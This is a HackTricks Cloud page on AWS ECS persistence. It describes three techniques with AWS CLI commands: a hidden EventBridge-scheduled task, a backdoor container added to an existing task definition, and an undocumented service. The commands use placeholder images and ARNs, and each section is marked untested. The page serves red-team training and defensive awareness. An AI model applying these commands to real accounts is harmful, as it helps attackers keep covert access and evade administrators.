hacktricks-cloud/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md

# AWS - ECS Persistence

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

## ECS

For more information check:

{% content-ref url="../aws-services/aws-ecs-enum.md" %}
[aws-ecs-enum.md](../aws-services/aws-ecs-enum.md)
{% endcontent-ref %}

### Hidden Periodic ECS Task

{% hint style="info" %}
TODO: Test
{% endhint %}

An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.

```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
  {
    "name": "malicious-container",
    "image": "malicious-image:latest",
    "memory": 256,
    "cpu": 10,
    "essential": true
  }
]'

# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"

# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
  {
    "Id": "malicious-ecs-task-target",
    "Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
    "RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
    "EcsParameters": {
      "TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
      "TaskCount": 1
    }
  }
]'
```

### Backdoor Container in Existing ECS Task Definition

{% hint style="info" %}
TODO: Test
{% endhint %}

An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.

```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
  {
    "name": "legitimate-container",
    "image": "legitimate-image:latest",
    "memory": 256,
    "cpu": 10,
    "essential": true
  },
  {
    "name": "backdoor-container",
    "image": "malicious-image:latest",
    "memory": 256,
    "cpu": 10,
    "essential": false
  }
]'
```

### Undocumented ECS Service

{% hint style="info" %}
TODO: Test
{% endhint %}

An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.

```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
  {
    "name": "malicious-container",
    "image": "malicious-image:latest",
    "memory": 256,
    "cpu": 10,
    "essential": true
  }
]'

# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}